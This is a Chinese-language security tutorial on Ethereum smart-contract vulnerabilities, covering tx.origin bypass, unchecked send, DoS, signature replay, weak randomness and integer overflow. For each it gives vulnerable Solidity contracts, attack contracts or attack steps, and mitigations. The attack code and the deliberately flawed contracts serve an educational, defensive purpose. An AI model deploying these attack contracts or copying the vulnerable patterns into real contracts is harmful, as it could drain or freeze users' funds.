作者: 天宸@蚂蚁安全实验室
原文链接:https://mp.weixin.qq.com/s/Fj6cZ21yuGXDT0qStLaopw
上期分享中,灵巧为大家介绍了智能合约安全系列,并揭秘了以太坊特性上多种新漏洞类型。今天我们进入漏洞攻防术-下集,探索以太坊上那些旧貌换新颜的传统漏洞类型。
权限控制问题属于传统的漏洞类型,在绝大多数平台和系统上都有发生。以太坊上目前发现两类权限控制问题:完全无访问控制和有访问控制,但是访问控制不当,没有达到访问控制的效果。
这类问题一个典型的案例是 Constructor 函数定义不当。
漏洞介绍
Constructor 构造函数是特殊函数,在初始化合约时构造函数通常会执行关键的特权任务。在 v0.4.22 之前,构造函数被定义为与合约同名的函数。因此,在开发中更改合约名称时,如果不更改构造函数名称,则它将变为普通的可调用函数,导致被攻击。
漏洞示例
如果合约名称被修改,或者在构造函数名称中出现错字,使得它不再与合约名称匹配,则构造函数的行为将像普通函数一样。这可能会导致可怕的后果,尤其是在构造函数正在执行特权操作的情况下,考虑以下合约:
contract OwnerWallet {
address public owner;
//constructor
function ownerWallet(address _owner) public {
owner = _owner;
}
// fallback. Collect ether.
function () payable {}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(this.balance);
}
}
该合约收集以太币,并且仅允许所有者通过调用 withdraw() 函数来提取所有以太币。出现此问题是由于以下事实:构造函数未在合同之后准确命名。具体来说,ownerWallet 与 OwnerWallet 不同。因此,任何用户都可以调动ownerWallet()函数,将自己设置为所有者,然后通过调用withdraw()获取合同中的所有以太币。
攻击示例
任何用户都可以调用 ownerWallet() 函数,将自己设置为所有者,然后通过调用 withdraw() 获取合约中的所有以太币。
规避建议
此问题已在0.4.22版的Solidity编译器中得到主要解决。此版本引入了一个 constructor 关键字,该关键字指定构造函数,而不是要求函数名称与合同名称匹配。建议使用此关键字指定构造函数,以防止出现上面突出显示的命名问题。
这类问题的典型案例是 tx.origin 使用不当,导致访问控制被绕过。
漏洞介绍
合约使用 tx.origin 作为身份认证的凭据,就能够被攻击者巧妙的绕过。攻击者只需要诱骗合约向其掌控的攻击合约发送少量代币,即可绕过 tx.origin 的身份认证。
漏洞示例
pragma solidity ^0.4.18;
contract TxOriginVictim { address public owner; function TxOriginVictim() payable{ owner = ms
pragma solidity ^0.4.18;
contract TxOriginVictim {
address public owner;
function TxOriginVictim() payable{
owner = msg.sender;
}
function transferTo(address to, uint amount) public {
require(tx.origin == owner);
to.call.value(amount)();
}
function() payable public {}
function getBalance() public constant returns (uint256) {
return this.balance;
}
}
攻击步骤
攻击代码:
contract TxOriginAttacker {
address public owner;
function TxOriginAttacker() public {
owner = msg.sender;
}
function() payable public {
TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
}
function getBalance() public constant returns (uint256) {
return this.balance;
}
}
攻击步骤:
1.account A 部署 TxOriginVictim 合约,owner 是 account A,转入 10 ether。
2.account B 部署 TxOriginAttacker 合约,owner 是 account B,记录 account B 的余额,为后续做比较。
3.攻击者诱惑受害者向 TxOriginAttacker 转入少量的币,即调用 transferTo 函数向 TxOriginAttacker 地址转账。
4.查看 account B 的余额,可以看到 TxOriginVictim 的币全部转到 account B 账户了,攻击成功。
规避建议
禁止使用 tx.origin 作为身份认证的凭据。如需要判定消息来源,可使用 msg.sender 。
漏洞介绍
当使用 send 发送币到一个合约时,可能发生 out of gas 异常。在 0.4.0 之前,send 可用的 gas 数量由发送的币的数量决定,如果发送的币的数量是 0,那么 send 的 gas 数是 0,否则是 2300。在 0.4.0 及之后,send 可用的 gas 数量统一是 2300。
调用 send 发送币到一个合约时,会自动执行该合约的 fallback 函数。如果 fallback 函数中有很“贵”的操作,比如修改了合约的全局变量,那么 2300 gas 不够用,就会抛出 out of gas 异常,转币失败。此时如果调用者没有判断 send 的返回值而默认转币成功,那么可以导致双方账目不平。
漏洞示例
pragma solidity ^0.4.10;
contract GaslessSend {
address owner;
function GaslessSend () payable public{
owner=msg.sender;
}
function pay(uint n, address d) public {
d.send(n);
}
// 便于观察执行是否成功
function getBalance() constant returns(uint){
return this.balance;
}
}
攻击步骤
攻击代码:
contract D1 {
uint public count = 0;
function() payable external {
count = count+1;
}
function getBalance() constant returns(uint){
return this.balance;
}
}
contract D2 {
function() payable external {}
function getBalance() constant returns(uint){
return this.balance;
}
}
攻击步骤:
1.accountA 部署 GaslessSend 合约,并存入 2 ether。
2.accountB 部署 D1 合约。D1合约有很“贵”的操作count+1。
3.accountC 部署 D2 合约。D2合约没有贵的操作。
4.调用 GaslessSend 的 getBalance 函数,查看一下余额,然后把 Gas Limit 设置为 30000,向 D1 转入 2 wei。查看 log,确认交易发送成功。
5.调用 D1 的 getBalance 函数,查看余额,发现 D1 的余额并没有改变,说明转账失败。但 GaslessSend 并不知情,这样会引起双方账目不一致。这是因为D1里有很贵的操作,30000gas不够用,交易会回滚。
6.重复步骤 4、5 向 D2 合约转入 2 wei。查看 D2 合约的余额,发现 D2 余额变为 2 wei,说明转账成功。D2是D1的对比实验,说明尽管调用同一个合约的同一个办法,但由于转账目的合约实现的不同,调用结果也会不同,需识别这种风险。
规避建议
在使用 send 函数时,被调用的合约不一定能执行成功,send 会返回 false。要判断 send 的返回值,在 send 返回 false 时,进行相应处理,否则会引起双方账目不一致。
转币函数推荐使用 transfer,transfer 函数执行失败时会抛出异常同时整个状态会回滚,合约开发者能够及时发觉异常信息。
漏洞介绍
Solidity 处理异常的方式由函数的调用方式决定。简单来说有两类调用方式:直接调用,通过 call 指令调用。
对于直接调用的方式,如果发生异常,Solidity 会直接 revert 到最顶层的调用栈,所有操作都会被 revert,合约的状态会回到最顶层的调用未发生时的状态。
对于 call 指令的调用,如果发生异常,Solidity 只会 revert 到 call 指令所在的函数。如果 call 指令所在的函数没有判断异常,那么异常不会向上传递,就会导致逻辑混乱。
漏洞示例
contract Alice{
uint256 public n = 0;
function pong() public{
n = n + 1;
revert();
}
}
攻击步骤
contract Bob{
uint256 public x = 0;
uint256 public y = 0;
function ping1(Alice alice) public returns (uint256) {
x = 2;
alice.pong();
x = 4;
}
function ping2(address alice) public returns (uint256) {
y = 2;
alice.call(bytes4(keccak256("pong(uint256)")));
y = 4;
}
}
攻击步骤:
1.account A 部署 Alice合约。
2.account B 部署 Bob合约--- 这里只是尽量模拟真实的环境,用哪个 account部署并不影响结果。
3.调用 Bob 合约的 ping1 方法,参数传入 Alice 合约的地址。若发生异常,log则可以看到调用失败。
4.此时观察 Alice 合约的 n 值,值为 0,说明 Alice 合约内发生的操作被 revert。再观察 Bob 合约 x 的值,值为 0 ,表示所有的操作都被 revert。符合预期。
5.调用 Bob 合约的 ping2 方法,参数传入 Alice 合约的地址。尽管发生异常,log 不会直接显示调用失败。
6.此时观察 Alice 合约的 n 值,值为 0,说明 Alice 合约内发生的操作被 revert。再观察 Bob 合约 y 的值,值为 4 ,表示 Bob 合约的操作没有被 revert。不符合预期,会产生逻辑上的混乱。
规避建议
1.如果想要发生异常之后,revert 所有的操作,推荐使用直接调用的方式。
2.如果有充分的理由不能使用直接调用的方式,需要严格判断 call 函数的返回值,并做相应的处理。
拒绝服务漏洞是一种常见的漏洞。其攻击形式多种多样,攻击的目的是让用户短暂的或永久的不能使用合约提供的服务,包括利用的漏洞类型也多种多样。
这种 DoS 漏洞类型是:依赖外部调用的进展,如果外部调用执行失败,后续的操作也就无法执行,导致拒绝服务。
漏洞介绍
King of the Ether Throne 是一个竞选国王的合约游戏,游戏规则是如果新玩家发送的 ETH 数量大于当前指定的 price 的数量,合约就向上一个国王发送 price 数量的 ETH,新玩家就会成为新的国王,然后合约把 price 调的更高一些,等待下一位国王。
漏洞示例
pragma solidity ^0.4.10;
contract PresidentOfCountry {
address public president;
uint256 price;
function PresidentOfCountry(uint256 _price) {
require(_price > 0);
price = _price;
president = msg.sender;
}
function becomePresident() payable {
require(msg.value >= price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president
}
}
攻击示例
攻击代码:
contract Attack {
function () { revert(); }
function Attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
}
}
攻击步骤:
1.account A 发布合约,指定初始 price。
2.account B 发布 Attack 合约,指定攻击目标地址,和存入大于当前 price 的 ether,保证 Attack 合约能够成为 president。
3.此后任何账户如果试图成为 president ,会触发转币给 Attack 合约的 fallback 函数。也就是会调用 revert();导致转币失败。如此就会阻止其他账户成为 president。
规避建议
采用“取回”模式发送币,让之前发送的人自己取回币。这样取回的人就不能作恶,否则就会失去代币。
示例代码:
function withdraw() public {
uint amount = pendingWithdrawals[msg.sender];
// 记住,在发送资金之前将待发金额清零
// 来防止重入(re-entrancy)攻击
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
这种 DoS 漏洞类型是:依赖外部可以操作的数据,如数组或映射,如果外部操作改变了数据,修改后的数据使得后续的操作无法执行,导致拒绝服务。
漏洞介绍
GovernMental 是一个类似庞氏骗局的游戏合约。游戏规则是债权人(玩家)至少投入 1 ETH 参与游戏,债权人有望获得 1ETH + 10% 利息。
发送给合同的 ETH 是这样分配的:5%分配给头奖,5%分配给管理政府的腐败精英(合同所有者),90%用来按信用日期顺序偿还债权人。如果“政府”(合同)在12个小时内未收到新钱,则最新的债权人将获得头奖,其他所有债权人将失去其债权。
漏洞示例
合约所有者希望在投资者之间分配代币。
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets
// ... extra functionality, including transfertoken()
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}
function distribute() public {
require(msg.sender == owner); // only owner
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}
此合约中的循环遍历的数组可以被人为扩充。
攻击示例
攻击者可以创建许多用户帐户,让 investor 数据变得更大。原则上来说,可以让执行 for 循环所需的 Gas 超过区块 Gas 上限,这会使 distribute() 函数变得无法操作。
规避建议
合约不应该遍历可以被外部用户人为操纵的数据结构。建议使用 withdrawal 模式,每个投资者都会调用取出函数独立取出代币。
这种 DoS 的漏洞类型是:依赖外部的合约库。如果外部合约的库被删除,那么所有依赖库的合约服务都无法使用。
漏洞介绍
有些合约用于接受ether,并转账给其他地址。但是,这些合约本身并没有自己实现一个转账函数,而是通过delegatecall去调用一些其他合约中的转账函数去实现转账的功能。
万一这些提供转账功能的合约执行suicide或self-destruct操作的话,那么,通过delegatecall调用转账功能的合约就有可能发生ether被冻结的情况。
漏洞示例
Parity 钱包遭受的第二次攻击是一个很好的例子。
Parity 钱包提供了多签钱包的库合约。当库合约的函数被 delegatecall 调用时,它是运行在调用方(即:用户多签合约)的上下文里,像 m_numOwners 这样的变量都来自于用户多签合约的上下文。另外,为了能被用户合约调用,这些库合约的初始化函数都是public的。
库合约本质上也不过是另外一个智能合约,这次攻击调用使用的是库合约本身的上下文,对调用者而言这个库合约是未经初始化的。
攻击示例
1.攻击者调用初始化函数把自己设置为库合约的 owner。
2.攻击者调用 kill() 函数,把库合约删除,所有的 ether 就被冻结了。
规避建议
在涉及到转币操作的合约里,一定要写把币取回的函数,写取币函数可参考:
function withdraw() public {
uint amount = pendingWithdrawals[msg.sender];
// 记住,在发送资金之前将待发金额清零
// 来防止重入(re-entrancy)攻击
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
漏洞介绍
在资产管理体系中,常有委托管理的情况,委托人将资产给受托人管理,委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。
function transferProxy(address _from, address _to, uint256 _value, uint256 _fee, ui
transferProxy 方法涉及的角色:
角色1: 需要转 Token,但自己钱包地址里没有 ETH 的人,即合约中的 _from
角色2: 帮助角色1来转 Token,并支付 ETH 的 gas 费用,即合约中的 msg.sender,也是调用这个合约的人
角色3: Token 接收方,即合约中的 _to
transferProxy 方法的目的:
角色1想要转 Token 给角色3,但自己又没有 ETH 来支付手续费,于是角色1找到有 ETH 的角色2说:我给你一些 Token 当做手续费,你来通过调用 transferProxy 来把我的 Token 转给角色3,因为你有 ETH。
漏洞示例
function transferProxy(address _from, address _to, uint256 _value, uint256 _fee,
uint8 _v, bytes32 _r, bytes32 _s) public returns (bool){
if(balances[_from] < _fee + _value
|| _fee > _fee + _value) revert();
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_fee,nonce,address(this));
if(_from != ecrecover(h,_v,_r,_s)) revert();
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _fee < balances[msg.sender]) revert();
balances[_to] += _value;
emit Transfer(_from, _to, _value);
balances[msg.sender] += _fee;
emit Transfer(_from, msg.sender, _fee);
balances[_from] -= _value + _fee;
nonces[_from] = nonce + 1;
return true;
}
函数中关键的点是keccak256和ecrecover,即椭圆曲线加密数字签名(ECDSA)函数和验签函数,keccak256等同于sha3。
如下是签名、验签过程:
角色1(from)先用sha3函数对 from,to,value,_fee,nonce,address(token)进行处理得到msg值,然后使用web3.eth.sign(address, msg)得到签名signature;
将signature取前 0~66 个字节作为 r, 66~130 之间的字节作为 s,130~132 的字节作为 v,然后把 v 转为整型,角色1把这些信息告知角色2,角色2调用合约的transferProxy进行转账;
合约内ecrecover接收签名数据的哈希值以及 r/s/v 等参数作为输入,返回实施该签名的账户地址;
校验步骤3中得到的账户地址与 _from 是否匹配;
let msg = web3.sha3(_from,_to,_value,_fee,nonce,address(token))
let signature = web3.eth.sign(_from, msg)
let r = signature.slice(0, 66)
let s = '0x' + signature.slice(66, 130)
let v = '0x' + signature.slice(130, 132)
v = web3.toDecimal(v)
console.log('r', r)
console.log('s', s)
console.log('v', v)
console.log(msg)
角色1、角色2需要事先沟通好nonce、fee,其中nonce在合约中定义,从 0 开始自增,可调用合约的getNonce(address addr)函数查询。
攻击示例
由于合约所有的调用数据(函数参数)都在链上公开可查,所以可从 Transaction 中提取所有签名信息。
在智能合约重放攻击中,基于椭圆曲线加密数字签名(ECDSA)和验签的逻辑,可利用不同合约中相同的transferProxy实现,把 A 合约 Transaction 中的签名信息提取出来,在 B 合约中进行重放,由于涉及签名的所有参数都是一样的,所以可以直接调用 B 合约并广播到链上。
攻击成功的前提是 _from 账户在两个合约中的 nonce 值是一样的,这样才能保证签名后的 hash 值相同。
测试工具:
https://github.com/nkbai/defcon26/tree/master/trproxy
此漏洞参考[2]整理。
规避建议
nonce 生成算法不采用从 0 开始自增的设计,避免和场景的做法相同;
去除 transferProxy 函数,改成其他方式实现代理的需求。
随机数问题也是各区块链平台常见的问题,区别在于各个平台被用作随机源的数据不同。
漏洞介绍
以太坊数据块里有一些属性,如:
·block.number (uint): current block number
·block.timestamp (uint): current block timestamp as seconds since unix epoch
·blockhash(uint blockNumber) returns (bytes32): hash of the given block - only works for 256 most recent, excluding current, blocks
某些合约会使用这些属性作为随机数种子,如使用时间戳作为开奖语句的条件。矿工有能力微调时间戳,使之满足中奖条件而中奖。相似的场景还可以用 block.number 来当作随机源。使用可预测的随机源作为随机数的种子属于危险操作。
漏洞示例
contract Roulette {
uint public pastBlockTime; // Forces one bet per block
constructor() public payable {} // initially fund contract
// fallback function used to make a bet
function () public payable {
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime); // only 1 transaction per block
pastBlockTime = now;
if(now % 15 == 0) { // winner
msg.sender.transfer(this.balance);
}
}
}
攻击步骤
这份合约表现得像一个简单的彩票。转入 10 ether 有赢得合约余额的机会。这里的假设是,block.timestamp关于最后两位数字是均匀分布的。如果是这样,那么将有1/15的机会赢得这个彩票。但正如我们所知,矿工可以根据需要时间调整。
在这种特殊情况下,如果合约中有足够的ether,解决某个区块的矿工将被激励选择一个模 15 为 0 的 block.timestamp 或 now。这样做他们就会赢得这个合约的余额。
相似的场景还可以用 block.number 来当作随机源。也属于危险操作。
规避建议
通行的做法是采用链外off-chain 的第三方服务,比如 Oraclize 来获取随机数)。
https://solidity-cn.readthedocs.io/zh/develop/security-considerations.html#id3
整数溢出漏洞
数溢出是各类语言的常见问题,Solidity 也不例外。
漏洞介绍
整整数溢出是指经过一些运算之后超过该类型所表示的最大值或者最小值,产生溢出。整数常见的运算有 + - * / ,每一种运算都可能产生溢出。
加法溢出
以 8 位无符整型为例,8 位无符号整型可表示的范围为 [0, 255],255 在内存中存储按位存储的形式为(下图左):
如果是 8 位有符整型,其可表示的范围为 [-128, 127],127 在内存中存储按位存储的形式为(下图左):
在这里因为高位作为了符号位,当 127 加上 1 时,由于进位符号位变为 1(负数),因为符号位已翻转为 1,通过还原此负数值,最终得到的 8 位有符整数为 -128。
小结:最大值+1会发生反转成最小值
减法溢出
减法溢出的原理和加法溢出类似 uint8 integer 0000 0000 -1 ------> 1111 1111 = 255 (0-1) int8 integer 1000 0000 -1 ------> 0111 1111 = 127 (-128-1)
小结:最小值-1会发生反转成最大值
乘法溢出
乘法溢出和加法溢出类似,两数相乘之后,超过数值类型所表示的最大值或者最小值,产生溢出。如:
function testMul(int8 m, int8 n) returns (int8){
int8 num = m*n;
return num;
}
在 remix 平台上,验证返回结果是:
输入
{
"int8 m": 100,
"int8 n": 2
}
输出
{
"0": "int8: -56"
}
由于 int8 能表示的最大值是 127,100x2 运算之后的值是 200,超过了 int8 表示的最大值,产生溢出,溢出为 -56。
除法溢出
除法运算除了常见的除 0 错误之外,还有可能发生溢出。有符号数的最小值除 -1 导致溢出:
function test() returns (int8) {
int8 i = -128;
return i/int8(-1);
} }
在 remix 平台上,验证返回结果是:
{
"0": "int8: -128"
}
溢出情况分析:-128/-1 = 128 超出 int8 表示的最大值,溢出为 -128。
漏洞示例
pragma solidity ^0.4.10;
contract MyToken {
mapping (address => uint) balances;
event balancesAndAmount(uint, uint);
function balanceOf(address _user) returns (uint) { return balances[_user]; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(uint _amount) {
balancesAndAmount(balances[msg.sender], _amount);
require(balances[msg.sender] - _amount > 0); // 存在整数溢出
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
}
攻击步骤
1.account A 发布合约
2.account A deposit 1 ether 到合约
3.account B 取 1 ether。uint 默认是 u256。因为 account B 账号的余额是 0,balances[msg.sender] - amount 会发生下溢出,0-1 = 2256-1 > 0,能够满足 require 条件,顺利执行到 msg.sender.transfer(amount); 能够成功获得 1 ether。之后 account B 在合约里的余额也变成 2256 -1。
2^256 =
115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,
639,936 (78 digits)
4.balance of account A 的余额不会变。因为没有操作过 account A 的余额。
思考:那转给 account B 的钱从哪里出的?是不是合约自己背锅?
5.进一步尝试把 amount 的类型改成 int8,执行相同的攻击步骤,依然会发生溢出,且 account B 的 balance 依然按照 uint256 类型反转。
规避建议
使用 SafeMath 进行四则运算,或者交与专业团队进行代码审计。
漏洞介绍
solidity 的最新版本是 0.8.1,截止到这个版本,solidity 依然不支持浮点型,也不完全支持定长浮点型。其中定长浮点型在Solidity中可以用来声明变量,但是并不能用来赋值。
在除法运算中,如果无法整除,小数部分会被舍弃。这样,如果在代币的运算中出现运算结果小于1Ether的情况,那么0.XXX就会被约等于0。1.9个代币会被约等于1个,带来一定程度上的精度流失。由于代币的经济属性,精度的流失就相当于资产的流失。
漏洞示例
看如下代码片段:
function buyToken() public payable{
uint tokens = msg.value/weiPerEth * tokensPerEth;
balance[msg.sender] += tokens;
}
攻击步骤
代码采用了先除后乘的方式,如果 msg.value > weiPerEth,tokens 会为 0,造成买家损失。
规避建议
推荐的做法是先做乘法,再做除法。
本文主要关注的是以太坊平台的智能合约面临的安全威胁,同样地,EOS 平台也面临类似的威胁类型,相信这些漏洞梳理可以为读者们带去更深刻的思考和启发,对以太坊平台也有了更进一步的了解,欢迎大家继续关注本系列后续的文章。
1.https://www.chainnode.com/post/355956
3.https://paper.seebug.org/633/
4.https://paper.seebug.org/632/
5.https://eth.wiki/en/howto/smart-contract-safety
6.https://consensys.github.io/smart-contract-best-practices/
8.https://eprint.iacr.org/2016/1007.pdf
9.https://medium.com/cryptronics/ethereum-smart-contract-security-73b0ede73fa8
10.https://paper.seebug.org/624/
11.https://paper.seebug.org/615/
12.https://cloud.tencent.com/developer/article/1171294
13.https://paper.seebug.org/685/
14.https://www.freebuf.com/vuls/179173.html
15.https://www.kingoftheether.com/thrones/kingoftheether/index.html
16.https://www.mdeditor.tw/pl/2LVR
17.https://paper.seebug.org/607/
18.https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514
19.《区块链安全入门与实战》第3 章. 刘林炫. 北京. 机械工业出版社.
扫码关注蚂蚁安全实验室微信公众号,干货不断!
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1545/